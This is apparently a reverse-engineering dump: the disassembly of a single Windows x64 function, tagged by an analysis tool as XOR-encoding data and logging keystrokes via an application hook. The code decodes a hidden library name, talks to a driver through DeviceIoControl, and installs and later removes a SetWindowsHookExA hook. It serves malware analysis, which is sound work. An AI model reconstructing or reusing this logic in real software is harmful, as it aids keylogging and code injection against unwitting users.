Function at 0x140004550
Capabilities:
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xd0
mov rax, qword [0x140044040]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov qword [rbp - 0x61], rdx
mov r12d, ecx
mov ecx, 0x6e
xor edx, edx
call fcn.140001150
mov ecx, 0x74
mov word [rbp - 0x59], ax
mov edx, 1
call fcn.140001150
mov ecx, 0x64
mov word [rbp - 0x57], ax
mov edx, 2
call fcn.140001150
mov ecx, 0x6c
mov word [rbp - 0x55], ax
mov edx, 3
call fcn.140001150
mov edx, 4
mov word [rbp - 0x53], ax
call fcn.140001150
mov ecx, 0x2e
mov word [rbp - 0x51], ax
mov edx, 5
call fcn.140001150
mov ecx, 0x64
mov word [rbp - 0x4f], ax
mov edx, 6
call fcn.140001150
mov ecx, 0x6c
mov word [rbp - 0x4d], ax
mov edx, 7
call fcn.140001150
mov edx, 8
mov word [rbp - 0x4b], ax
call fcn.140001150
xor ecx, ecx
mov word [rbp - 0x49], ax
mov edx, 9
call fcn.140001150
movzx ecx, word [0x14003e544]
mov edx, 0xa
mov word [rbp - 0x47], ax
call fcn.140001150
movzx ecx, word [0x14003e546]
mov edx, 0xb
mov word [rbp - 0x45], ax
call fcn.140001150
movzx ecx, word [str.test.dll]
mov edx, 0xc
mov word [rbp - 0x43], ax
call fcn.140001150
movzx ecx, word [0x14003e54a]
mov edx, 0xd
mov word [rbp - 0x41], ax
call fcn.140001150
movzx ecx, word [0x14003e54c]
mov edx, 0xe
mov word [rbp - 0x3f], ax
call fcn.140001150
movzx ecx, word [0x14003e54e]
mov edx, 0xf
mov word [rbp - 0x3d], ax
call fcn.140001150
movzx ecx, word [0x14003e550]
mov edx, 0x10
mov word [rbp - 0x3b], ax
call fcn.140001150
movzx ecx, word [0x14003e552]
mov edx, 0x11
mov word [rbp - 0x39], ax
call fcn.140001150
movzx ecx, word [0x14003e554]
mov edx, 0x12
mov word [rbp - 0x37], ax
call fcn.140001150
movdqa xmm4, xmmword [0x14003e5d0]
movdqa xmm5, xmmword [0x14003e5f0]
mov word [rbp - 0x35], ax
xor eax, eax
mov word [rbp - 0x33], ax
xor ebx, ebx
nop dword [rax]
nop dword [rax + rax]
movsxd rdx, eax
lea ecx, [rax + 4]
movd xmm0, eax
movq xmm2, xmm5
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x59]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm5
xorps xmm3, xmm0
movd xmm0, ecx
movq qword [rbp + rdx*2 - 0x59], xmm3
lea ecx, [rax + 8]
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x51]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm5
xorps xmm3, xmm0
movd xmm0, ecx
movq qword [rbp + rdx*2 - 0x51], xmm3
lea ecx, [rax + 0xc]
pshufd xmm0, xmm0, 0
add eax, 0x10
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x49]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm2, xmm5
xorps xmm3, xmm0
movd xmm0, ecx
movq qword [rbp + rdx*2 - 0x49], xmm3
pshufd xmm0, xmm0, 0
paddd xmm0, xmm4
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + rdx*2 - 0x41]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rbp + rdx*2 - 0x41], xmm3
cmp eax, 0x10
jb 0x140004710
cmp eax, 0x13
jae 0x140004819
mov r8d, 0x133
nop
movsxd rcx, eax
lea rdx, [rbp - 0x59]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140004800
lea rcx, [rbp - 0x59]
mov word [rbp - 0x33], bx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword gs:[0x58]
mov r13, rax
mov esi, 4
add rsi, qword [rcx]
mov ecx, dword [rsi]
cmp dword [0x14008a110], ecx
jle 0x140004883
lea rcx, [0x14008a110]
call fcn.14000f42c
cmp dword [0x14008a110], 0xffffffff
jne 0x140004883
lea rcx, [0x140032bf0]
mov dword [0x14008a118], ebx
mov qword [0x14008a120], 0xffffffffffffffff
call fcn.14000f6cc
lea rcx, [0x14008a110]
call fcn.14000f3c0
mov eax, dword [0x14008a118]
mov r14, rbx
mov rcx, qword [0x14008a120]
mov dword [rbp - 1], eax
lea rax, [rbp - 0x69]
mov qword [rbp + 7], rax
mov qword [rbp - 0x69], rbx
mov dword [rbp + 3], ebx
mov qword [rbp + 0x17], 0x40
mov qword [rbp + 0xf], 0x1000
cmp rcx, 0xffffffffffffffff
je 0x1400048e7
mov qword [rsp + 0x38], rbx
lea r8, [rbp - 1]
mov qword [rsp + 0x30], rbx
mov r9d, 0x20
mov dword [rsp + 0x28], ebx
mov edx, 0x3009d220
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r14, qword [rbp - 0x69]
mov edx, 0xc8
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movups xmm0, xmmword [0x1400882a0]
lea r15, [r14 + 0x60]
mov r8, qword [rbp - 0x61]
mov rdi, rax
mov qword [rbp - 0x11], rax
mov edx, 0x50
movups xmmword [rax], xmm0
lea rbx, [rax + 0x60]
movups xmm1, xmmword [0x1400882b0]
lea rcx, [rbx + 0x18]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [0x1400882c0]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [0x1400882d0]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [0x1400882e0]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [0x1400882f0]
movups xmmword [rax + 0x50], xmm1
mov qword [rax + 6], r15
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbx + 8], rax
call fcn.140018474
mov eax, dword [rsi]
cmp dword [0x14008a110], eax
jle 0x1400049bb
lea rcx, [0x14008a110]
call fcn.14000f42c
cmp dword [0x14008a110], 0xffffffff
jne 0x1400049bb
xor eax, eax
mov qword [0x14008a120], 0xffffffffffffffff
lea rcx, [0x140032bf0]
mov dword [0x14008a118], eax
call fcn.14000f6cc
lea rcx, [0x14008a110]
call fcn.14000f3c0
mov rcx, qword [0x14008a120]
xor edx, edx
mov eax, dword [0x14008a118]
mov word [rbp - 0x14], dx
mov byte [rbp - 0x12], dl
mov dword [rbp - 0x19], eax
mov qword [rbp - 0x29], r14
mov qword [rbp - 0x31], rdi
mov qword [rbp - 0x21], 0xc8
mov byte [rbp - 0x15], 1
cmp rcx, 0xffffffffffffffff
je 0x140004a16
mov qword [rsp + 0x38], rdx
lea r8, [rbp - 0x31]
mov qword [rsp + 0x30], rdx
mov r9d, 0x20
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
mov edx, 0x3009ce20
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r9d, r12d
mov r8, r13
mov rdx, r14
mov ecx, 3
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rbx], 2
mov r13, rax
je 0x140004b0b
xor edi, edi
nop dword [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, r12d
call qword [sym.imp.USER32.dll_PostThreadMessageA]
mov ecx, dword [rsi]
cmp dword [0x14008a110], ecx
jle 0x140004a99
lea rcx, [0x14008a110]
call fcn.14000f42c
cmp dword [0x14008a110], 0xffffffff
jne 0x140004a99
lea rcx, [0x140032bf0]
mov dword [0x14008a118], edi
mov qword [0x14008a120], 0xffffffffffffffff
call fcn.14000f6cc
lea rcx, [0x14008a110]
call fcn.14000f3c0
mov rcx, qword [0x14008a120]
mov eax, dword [0x14008a118]
mov word [rbp - 0x14], di
mov byte [rbp - 0x12], dil
mov dword [rbp - 0x19], eax
mov qword [rbp - 0x29], r15
mov qword [rbp - 0x31], rbx
mov qword [rbp - 0x21], 0x68
mov byte [rbp - 0x15], dil
cmp rcx, 0xffffffffffffffff
je 0x140004af3
mov qword [rsp + 0x38], rdi
lea r8, [rbp - 0x31]
mov qword [rsp + 0x30], rdi
mov r9d, 0x20
mov dword [rsp + 0x28], edi
mov edx, 0x3009ce20
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbx], 2
jne 0x140004a40
mov rdi, qword [rbp - 0x11]
mov rbx, qword [rbx + 0x10]
mov rcx, r13
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [rsi]
cmp dword [0x14008a110], eax
jle 0x140004b62
lea rcx, [0x14008a110]
call fcn.14000f42c
cmp dword [0x14008a110], 0xffffffff
jne 0x140004b62
xor eax, eax
mov qword [0x14008a120], 0xffffffffffffffff
lea rcx, [0x140032bf0]
mov dword [0x14008a118], eax
call fcn.14000f6cc
lea rcx, [0x14008a110]
call fcn.14000f3c0
mov rcx, qword [0x14008a120]
xor edx, edx
mov eax, dword [0x14008a118]
mov dword [rbp - 0xd], edx
mov dword [rbp - 0x11], eax
mov qword [rbp - 9], r14
cmp rcx, 0xffffffffffffffff
je 0x140004ba9
mov qword [rsp + 0x38], rdx
lea r8, [rbp - 0x11]
mov qword [rsp + 0x30], rdx
mov r9d, 0x10
mov dword [rsp + 0x28], edx
mov qword [rsp + 0x20], rdx
mov edx, 0x3009d4e0
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbx
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.14000f3a0
mov rbx, qword [rsp + 0x120]
add rsp, 0xd0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret